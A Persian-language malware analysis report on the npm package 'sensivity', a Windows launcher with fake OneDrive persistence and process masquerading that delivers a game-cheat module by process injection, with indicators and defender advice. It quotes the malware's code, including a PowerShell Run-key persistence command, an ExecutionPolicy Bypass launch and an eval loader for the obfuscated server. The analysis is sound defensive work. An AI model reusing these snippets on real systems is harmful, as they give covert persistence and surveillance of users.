TL؛ DR
بسته npm حساسیت خود را به عنوان «پنل کنترل حساسیت» توصیف میکند. در ویندوز، این برنامه به عنوان یک ابزار کنترل از راه دور و نظارت عمل میکند.
نقطه ورود آن، launcher.js، نام فرآیند خود را به Runtime Broker تغییر میدهد، یک مقدار Run-key با نام autostart مینویسد OneDriveUpdate که بسته را از طریق یک VBScript مخفی مجدداً راهاندازی میکند، PowerShell را با ... ایجاد میکند. -ExecutionPolicy Bypassو سپس یک payload سرور مبهمسازیشده ۱۷۱ کیلوبایتی را در کنار یک ماژول بومی ۶.۸۷ مگابایتی ارزیابی میکند، sens.node.
این برنامه یک پنل کنترل جفتسازی تلفن را روی پورت TCP 3000 ارائه میدهد و آدرس اینترنتی نوار آدرس مرورگر فعال را از طریق Windows UIAutomation میخواند و یک ویدیوی یوتیوب کدگذاری شده را تماشا میکند.
دو بخشی که قبلاً به عنوان جعبه سیاه باقی مانده بودند، اکنون برطرف شدهاند. سرور مبهمسازی شده، server.obf.js، از یک طرح آرایه رشتهای RC4 در obfuscator.io استفاده میکند؛ پیادهسازی مجدد رمزگشای آن به صورت آفلاین (بدون اجرای جاوا اسکریپت) یک نقطه پایانی خارجی واحد را بازیابی میکند - https://izopi.com/check.php - همراه با یک کلید عمومی RSA تعبیهشده که برای تأیید پاسخهای مجوز امضا شده استفاده میشود.
ماژول بومی، sens.node، فشرده نشده است: جدول واردات و رشتههای تعبیهشده در آن، آن را به عنوان یک پوشش درون بازی DirectX 11 / Dear ImGui شناسایی میکنند که ویژگیهای aimbot، ESP (wall-hack) و triggerbot را ارائه میدهد و توسط تزریق فرآیند از راه دور و خواندن/نوشتن حافظه هدایت میشود.
رشتههای درون آن به موجودیتهای وسایل نقلیه اشاره میکنند و مکانها را مطابق با GTA V / FiveM نقشهبرداری میکنند. بسته npm، پوششدهنده تحویل و ماندگاری پیرامون آن ماژول بومی است.
سیگنال تعیینکننده عملیاتی است، نه فنی: یک ناشر ناشناس تقریباً هفتاد نسخه از یک بسته را منتشر کرد - 2.5.0 از طریق 2.5.69 — در طول چند روز، هر کدام حامل یک پرتابگر بودند.
هیچ نصبی وجود ندارد hooksاین payload فقط زمانی اجرا میشود که بسته آغاز شده باشد.
حمله: چگونه کار میکند
sensivity ده فایل ارسال میکند. فایل package.json پراکنده است: هیچ فیلد repository، هیچ مجوزی، یک main و دو bin alias (sensivity, sens) که همگی به launcher.js اشاره میکنند، و یک اسکریپت شروع node launcher.js. هیچ postinstall یا preinstall وجود ندارد. هیچ چیزی هنگام نصب npm اجرا نمیشود. رفتاری که در زیر توضیح داده شده است، زمانی اجرا میشود که کاربر بسته را شروع میکند - از طریق bin shim، اسکریپت شروع یا یک require.
فایل tarball شامل لانچر، یک سرور مبهمسازی شده، ماژول native، یک اسکریپت Visual Basic و یک دایرکتوری public/web برای کنترل پنل است. launcher.js هماهنگکنندهی قابل خواندن است؛ منطقی که در زمان اجرا اهمیت دارد در دو blob که بارگذاری میکند، قرار دارد - یک سرور مبهمسازی شده و یک ماژول native کامپایل شده، که هر دو در زیر حل شدهاند.
تغییر ظاهر فرآیند و یک بهروزرسانی جعلی OneDrive
در اوایل اجرا، launcher.js دو بار نام فرآیند خود را تنظیم میکند:
javascript process.title = 'Runtime Broker'; Runtime Broker یک فرآیند قانونی ویندوز (RuntimeBroker.exe) است که مجوزهای برنامهها را مدیریت میکند. تغییر نام یک فرآیند Node برای مطابقت با آن به این معنی است که نگاهی گذرا به Task Manager هیچ چیز غیرعادی را نشان نمیدهد.
پایداری به جای یک API رجیستری مستقیم، از طریق PowerShell نوشته شده است:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); مقدار autostart، OneDriveUpdate نام دارد و مستقیماً به بسته اشاره نمیکند. بلکه به wscript.exe که OneDrive.Standalone.Updater.vbs را اجرا میکند، اشاره میکند. این اسکریپت، node launcher.js را در یک پنجره مخفی مجدداً اجرا میکند. هم نام Run-key و هم نام فایل VBScript از برند مایکروسافت گرفته شدهاند، بنابراین ورودی autostart به عنوان یک وظیفه روتین OneDrive خوانده میشود.
پاورشل با قابلیت دور زدن سیاستهای اجرایی
این لانچر مکرراً به PowerShell دستور میدهد. سینکی که اسکنرها آن را به عنوان بحرانی علامتگذاری میکنند، اجرای یک فایل .ps1 تولید شده با غیرفعال بودن سیاست اجرا است:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); دور زدن سیاست اجرا، بررسی امضای اسکریپت محلی را برای آن فراخوانی حذف میکند. اسکریپتهای تولید شده، کار نظارت بر مرورگر و تشخیص پنجره را که در بخش بعدی توضیح داده شده است، انجام میدهند.
سرور مبهمسازی شده و ماژول بومی
پس از راهاندازی، launcher.js بار دادهی واقعی خود را بارگذاری و اجرا میکند:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js شامل ۱۷۱ کیلوبایت مبهمسازی آرایه _0x است - الگوی جاوا اسکریپتی که در آن هر رشته و شناسه با یک اندیس در یک آرایهی بهم ریخته جایگزین میشود و سپس در زمان اجرا ارجاع آن از بین میرود. این طرح، نسخهی RC4 تولید شده توسط obfuscator.io است: یک تابع رمزگشای base64 یک ورودی آرایه را رمزگشایی میکند و سپس RC4 آن را با یک کلید برای هر فراخوانی رمزگشایی میکند. پیادهسازی مجدد آن رمزگشا در یک اسکریپت جداگانه - فقط پیادهسازی مجدد را روی آرایهی رشتهای ۸۲۱ ورودی استخراج شده اجرا میکند، نه جاوا اسکریپت خود بسته - آن را به طور تمیز باز میکند. آنچه که به نظر میرسد ساده است اما ...cisive: یک URL خارجی، https://izopi.com/check.php`، که به یک ثابت LICENSE_URL اختصاص داده شده است؛ یک RSA PUBLIC_KEY_PEM` جاسازی شده؛ مسیرهای پنل محلی /api/kill، /api/qr.png، /api/trigger، /api/url، /trigger/off و /trigger/status؛ و رشتههای child_process، crypto و [Sensivity] sens.node بارگذاری شدهاند - آخرین مورد، خط لاگ دقیقی است که لانچر برای ماژول برنامه بارگذاری شده بازنویسی میکند. نقطه پایانی، بررسی مجوز است: کلاینت یک شناسه ارسال میکند (سرور مبهمسازی شده یک رشته Discord ID: %s را قالببندی میکند) و کلید RSA پاسخ امضا شده سرور را تأیید میکند.
sens.node یک افزونه بومی کامپایل شده با حجم ۶.۸۷ مگابایت است و فشرده نشده است - آنتروپی بخش در محدوده ۵.۶-۶.۶ قرار دارد و جداول واردات و صادرات PE دست نخورده هستند، بنابراین قابلیتهای آن مستقیماً قابل خواندن هستند. این افزونه napi_register_module_v1 را صادر میکند، standard نقطه ورود N-API گره است، بنابراین سرور ارزیابیشده آن را با یک نیاز ساده بارگذاری میکند. جدول واردات آن گویای همه چیز است. از KERNEL32، OpenProcess، VirtualAllocEx، WriteProcessMemory، ReadProcessMemory، CreateRemoteThread، K32EnumProcessModules و Process32First/NextW را دریافت میکند - مجموعه استاندارد برای یافتن فرآیند دیگر، تخصیص حافظه درون آن و خواندن یا نوشتن آن حافظه. از USER32، GetAsyncKeyState، GetKeyState، mouse_event و SetCursorPos را دریافت میکند. d3d11.dll، D3DCOMPILER_43 و dwmapi را برای یک پوشش روی صفحه و مجموعه کامل WINHTTP را برای فراخوانیهای شبکه پیوند میدهد. رشتههای تعبیهشده در آن، مجموعه ویژگیها را بدون ابهام نامگذاری میکنند: فعال کردن Aimbot، Aimbot FOV، Box ESP، Skeleton ESP، Triggerbot، ESP Builder، Vehicle ESP، Electron Anticheat detected، و بنر Dear ImGui Dear ImGui 1.91.3 WIP. رشتههای مکان و موجودیت مانند Grapeseed Medical Clinic و واژگان vehicle-ESP با GTA V / FiveM سازگار هستند.
این تقسیمبندی عمدی است: فایل launcher.js قابل خواندن فقط بخشهایی را که یک اسکنر به راحتی میخواند - پایداری، تغییر شکل، خود فراخوانی eval - را حمل میکند، در حالی که مبهمسازی، میزبان خارجی، یعنی مخاطبین زمان اجرا را پنهان میکند و فایل باینری، منطق پوشش بازی و تزریق فرآیند را در خود نگه میدارد. لانچر، پوسته نازک و قابل حسابرسی است؛ سرور مبهمسازی شده، هویت شبکه را پنهان میکند؛ ماژول بومی، بار مفید است. ما ورودیها و رشتههای باینری را به عنوان خوانده شده توصیف میکنیم؛ هدف اپراتور را از آنها استنباط نمیکنیم.
پنل کنترل جفتسازی تلفن روی پورت ۳۰۰۰
این لانچر یک وب سرور محلی را روی پورت TCP 3000 مدیریت میکند و با آن به عنوان یک singleton رفتار میکند. این لانچر برای یک listener موجود پرس و جو میکند و قبل از اتصال آن را پاک میکند:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); این پنل از طریق آدرس http://localhost:3000 و با یک آدرس اینترنتی پشتیبان LAN با کدنویسی ثابت http://192.168.1.16:3000 قابل دسترسی است. دایرکتوری public/ و رفتار پنل با جریان جفتسازی QR سازگار است: یک تلفن کدی را اسکن میکند و به عنوان یک ریموت به میزبان متصل میشود. هیچ دامنهی فرمان و کنترل خارجی به صورت متن واضح در لانچر ظاهر نمیشود - اما، همانطور که رمزگشایی بالا نشان میدهد، یکی در سرور مبهمسازی شده وجود دارد: نقطهی پایانی مجوز izopi.com. خود پنل محلی و در محدودهی LAN است. تنها میزبان خروجی، همان بررسی مجوز است.
یک مدل سرپرست/کارگر جدا شده، فرآیند را زنده نگه میدارد. لانچر خود را با پرچمهای محیطی SENSIVITY_SUPERVISOR و SENSIVITY_WORKER دوباره ظاهر میکند، هر فرزند به صورت پنهان در حال اجرا است، بنابراین با از بین بردن یک فرآیند، یک ناظر برای راهاندازی مجدد آن باقی میماند.
نظارت بر مرورگر و سیگنال یوتیوب
خاصترین رفتار، نظارت بر مرورگر است. launcher.js پاورشل را میسازد که UIAutomation ویندوز را برای خواندن نوار آدرس یک مرورگر در حال اجرا هدایت میکند:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern محتوای متنی یک عنصر رابط کاربری را برمیگرداند. این تابع که روی کنترل ویرایش نوار آدرس مرورگر اعمال میشود، URL ای را که قربانی در حال حاضر مشاهده میکند برمیگرداند - بدون افزونه مرورگر، بدون دست زدن به پروفایل روی دیسک و بدون قلاب API. اسکریپت تولید شده، لیست $browserNames را تکرار میکند و URL یا عنوان پنجره هر مرورگری را که در پیشزمینه است استخراج میکند.
آن URL در برابر یک هدفِ کدنویسیشدهی واحد آزمایش شده است:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; این لانچر در یک حلقه سه ثانیهای، پنجره مرورگری که یوتیوب را نشان میدهد را جستجو میکند و PowerShell تولید شده، یک جفت Get-YouTubeBrowser / Test-TargetYouTubeUrl را حمل میکند که با شناسه آن ویدیو مطابقت دارد. اثر قابل مشاهده دوگانه است: URL فعال مرورگر از روی صفحه نمایش قربانی خوانده میشود و تعامل میزبان با یک ویدیوی خاص یوتیوب شناسایی میشود. ما مکانیسم و هدف را شرح میدهیم؛ ما انگیزهای را از آنها استنباط نمیکنیم.
نوار آدرس خوانده شده چیزی است که اسکنر آن را sensitive_data_enumeration برچسبگذاری میکند - یک منبع Process::env و UIAutomation که یک زمان اجرای با قابلیت شبکه را تغذیه میکند. این منبع به صورت ایزوله بیخطر به نظر میرسد و تنها زمانی به نظارت تبدیل میشود که چرخه حیات دادهها از منبع UIAutomation به سرور مبهمسازی شده ردیابی شود.
جدول زمانی و تکامل نسخه
حساسیت یک بارگذاری یکباره نیست. حساب ناشر تقریباً هفتاد نسخه منتشر شده از این بسته واحد دارد و نسخههای جدید در طول پنجره بررسی همچنان از راه میرسند. این لانچر در طول خط ۲.۵.x ویژگی به ویژگی رشد میکند در حالی که پایداری و بارگذاری payload آن ثابت میماند.
| تاریخ (UTC) | نسخههای مشاهدهشده | حالت پرتاب |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | لانچر پایه QR-panel؛ پایداری کلید اجرا؛ ارزیابی سرور مبهمسازی شده. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | همان اثر انگشت؛ جلوگیری از ردیابی کنسول. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | هدف تعامل پین شده در یوتیوب را اضافه میکند wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | پر کردن شکاف، انتشار مجدد در سراسر محدوده؛ ناظر سرپرست/کارگر. |
خواندن لانچر در میان نمایندگان دانلود شده - ۲.۵.۰، ۲.۵.۳۶ و ۲.۵.۶۹ - چهار سطح را نشان میدهد. اولین نسخهها، لانچر پایه جفتسازی QR را دارند. از ۲.۵.۳۳، ابزار جمعآوری نوار آدرس UIAutomation ظاهر میشود. از ۲.۵.۵۸ یک لایه مدیریت سرپرست اضافه میشود. از ۲.۵.۶۴، ناظر سرپرست/کارگر جدا شده، این مجموعه را کامل میکند. در کل، چهار چیز هرگز تغییر نمیکنند: کلید OneDriveUpdate Run، دراپر OneDrive.Standalone.Updater.vbs، eval'd server.obf.js و ماژول بومی sens.node.
موج 2026-06-05 قابل توجه است زیرا شماره نسخههای پایین - 2.5.0 تا 2.5.15 - را که در زیر نسخههای تأیید شده چند روز قبل قرار دارند، دوباره منتشر کرد. این اثر، یک خط پیوسته 2.5.x در رجیستری است که هر نسخه دارای لانچر یکسانی است.
شاخص های سازش
تمام نشانگرهای زیر مستقیماً از فایل tarball بسته خوانده شدهاند. لانچر قابل خواندن فقط loopback و یک آدرس LAN خصوصی دارد؛ تنها نام میزبان خارجی، izopi.com، با deobfuscating آفلاین server.obf.js بازیابی شد.
| نوع | شاخص | یادداشت |
|---|---|---|
| بسته | npm:sensivity (≈۷۰ نسخه، 2.5.0-2.5.69) | ناشر تکبستهای؛ بدون مخزن؛ بدون مجوز. |
| پرونده | launcher.js | هماهنگکنندهی قابل خواندن؛ هدف اصلی و هدف سطل زباله. |
| پرونده | server.obf.js (≈۱۷۱ کیلوبایت) | obfuscator.io بار داده آرایه رشتهای RC4، بارگذاری شده از طریق eval(fs.readFileSync(...)). |
| پرونده | sens.node (≈۶.۸۷ مگابایت) | افزونه N-API نود PE32+ x86-64؛ SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| پرونده | OneDrive.Standalone.Updater.vbs | راهانداز مجدد پنهان (node launcher.js). |
| شبکه ارتباطی | https://izopi.com/check.php | نقطه پایانی مجوز/احراز هویت از سرور مبهمسازیشده بازیابی شد؛ کلید عمومی RSA تعبیهشده، پاسخها را تأیید میکند. |
| قابلیت | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | تزریق فرآیند از راه دور و قابلیت خواندن/نوشتن حافظه. |
| قابلیت | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | پوشش بازی DirectX 11 / ImGui با پیادهسازی ویژگیهای aimbot، ESP و triggerbot. |
| ثبت | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | مقدار شروع خودکار که به سمت ... اشاره میکند wscript.exe و لانچر VBScript. |
| روند | process.title = 'Runtime Broker' | خود را به عنوان فرآیند قانونی Windows Runtime Broker جا میزند. |
| رفتاری | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | دور زدن سیاست اجرا که برای اسکریپتهای PowerShell تولید شده استفاده میشود. |
| رفتاری | UIAutomation ValuePattern خواندن نوار آدرس مرورگر | آدرس اینترنتی (URL) پنجره مرورگر پیشزمینه را میخواند. |
| رفتاری | شناسه ویدیوی هدف wJWta2lO0Lwنظرسنجی ۳ ثانیهای یوتیوب | سیگنال نظارت بر تعامل پین شده. |
| شبکه ارتباطی | http://localhost:3000، پشتیبان http://192.168.1.16:3000 | پنل کنترل با قابلیت جفتسازی QR به صورت محلی و روی شبکه محلی (LAN) در دسترس است. |
| محیط | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | پرچمهای هماهنگی فرآیند نگهبان جداگانه. |
انتساب، تأثیر و مدافعان
این بسته توسط یک حساب npm واحد منتشر شده است که ایمیل اعلام شده آن یک آدرس Gmail تأیید نشده است. این حساب دارای امتیاز اعتبار رجیستری بسیار منفی است، فقط همین یک بسته را نگهداری و منتشر میکند و هیچ مخزن منبع پیوندی ندارد. ما مالکیت ایمیل را تأیید نکردهایم و این کمپین را به حساب ناشر نسبت میدهیم، نه به هیچ فرد مشخصی. لانچر هیچ زیرساخت متن واضحی ندارد، اما میزبان خارجی اکنون مشخص است: سرور مبهمسازی شده برای بررسی مجوز با izopi.com تماس میگیرد و ماژول بومی - که از جدول واردات و رشتههای آن به جای دستورالعمل معکوس خوانده میشود - یک پوشش بازی است که به حافظه فرآیند دیگری تزریق شده و آن را میخواند.
تأثیر قابل مشاهده بر کاربران ویندوزی است که حساسیت را با انتظار یک ابزار کنترل پنل نصب و اجرا میکنند. در این میزبانها، این بسته، پایداری شروع خودکار را در قالب یک وظیفه OneDrive ایجاد میکند، خود را برای تقلید از یک فرآیند سیستمی تغییر نام میدهد، URL هر چیزی را که کاربر در حال مرور آن است میخواند و یک پنل جفتسازی ایجاد میکند که دستگاه را از طریق شبکه محلی به یک ریموت متصل میکند. نظارت سرپرست/کارگر به این معنی است که یک فرآیند واحد آن را حذف نمیکند. ورودی Run-key از راهاندازی مجدد جان سالم به در میبرد. macOS و لینوکس توسط این لانچر هدف قرار نمیگیرند - مسیرهای پایداری، PowerShell و UIAutomation فقط برای ویندوز هستند.
روند حذف هفتاد نسخه، روندی است که ارزش علامتگذاری دارد. انتشار مجدد یک بسته دهها بار در عرض چند روز، از جمله پر کردن مجدد شماره نسخهها زیر نسخههایی که قبلاً حذف شدهاند، یک نسخه زنده را در رجیستری بین حذفها نگه میدارد و لیستهای مسدود شده با نسخه پین شده را مختل میکند. یک ورودی لیست مسدود شده برای sensivity@2.5.61 هیچ کاری در برابر انتشار مجدد sensivity@2.5.3 در روز بعد انجام نمیدهد.
مدافعان میتوانند به موارد زیر عمل کنند:
- حساسیت نام بسته را بهطور کامل در فهرستهای مجاز پروکسی رجیستری و CI مسدود کنید. پین کردن نسخههای تکی، ریتم انتشار مجدد را از بین میبرد؛ نام، شاخص ماندگاری است.
- به دنبال مقداری به نام OneDriveUpdate بگردید که دادههایش wscript.exe را در یک مسیر به ازای هر کاربر، در مقابل یک فایل .vbs فراخوانی کند. بهروزرسانیکنندهی اصلی OneDrive به این روش ثبت نمیشود.
- هشدار در مورد یک فرآیند Node.js که عنوان process.title آن Runtime Broker است. کارگزار واقعی RuntimeBroker.exe است، نه یک زمان اجرای Node.
- واکشیهای زمان نصب npm از بستههایی که یک افزونه .node کامپایل شده به همراه یک eval(fs.readFileSync(…)) از یک فایل .obf.js همزاد را ارسال میکنند، علامتگذاری کنید. این جفتسازی - فایل باینری بومی مبهم که در کنار یک فایل متنی مبهم بارگذاری شده است - در اینجا، مستقل از هرگونه ورودی-خروجی رشتهای، بیانگر ساختاری است.
- هر شنوندهی محلیِ متصل به پورت ۳۰۰۰ که توسط یک فرآیند Node غیرمنتظره ایجاد شود، در نقاط پایانی مدیریتشدهی ویندوز، به عنوان مشکوک در نظر گرفته شود.
- درخواستهای خروجی به izopi.com از میزبانهای توسعهدهنده یا کاربر نهایی را مسدود یا در مورد آنها هشدار دهید؛ این تنها نقطه پایانی خارجی بسته است که از سرور مبهمسازی شده در /check.php قابل دسترسی است.
- برای هر افزونهی .node که به صورت بستهبندی شده است، قبل از اعتماد کردن به آن، جدول واردات آن را بررسی کنید. ترکیب OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread صرف نظر از کاری که بسته ادعا میکند انجام میدهد، تزریق فرآیند از راه دور است. در اینجا، این ترکیب در کنار یک پوشش Direct3D و رشتههای aimbot/ESP/triggerbot قرار میگیرد.
برای تحلیل استاتیک pipelineشکل محکومیت در طول تغییر نسخه پایدار است: یک پروفایل نصب غیر شبکهای، یک انتساب عنوان فرآیند به یک نام فرآیند سیستمی شناختهشده، یک نوشتن کلید اجرا از طریق PowerShell، و یک ارزیابی فایل خواندهشده از دیسک. هیچکدام از اینها به یک دامنه، یک IP یا یک شماره نسخه که انتشار مجدد بعدی بتواند آن را دور بزند، وابسته نیستند.
منابع
[npm: حساسیت] – صفحه رجیستری برای خط نسخه بسته که در اینجا مورد بحث قرار گرفته است؛ در صورت حذف، قابل حذف است.





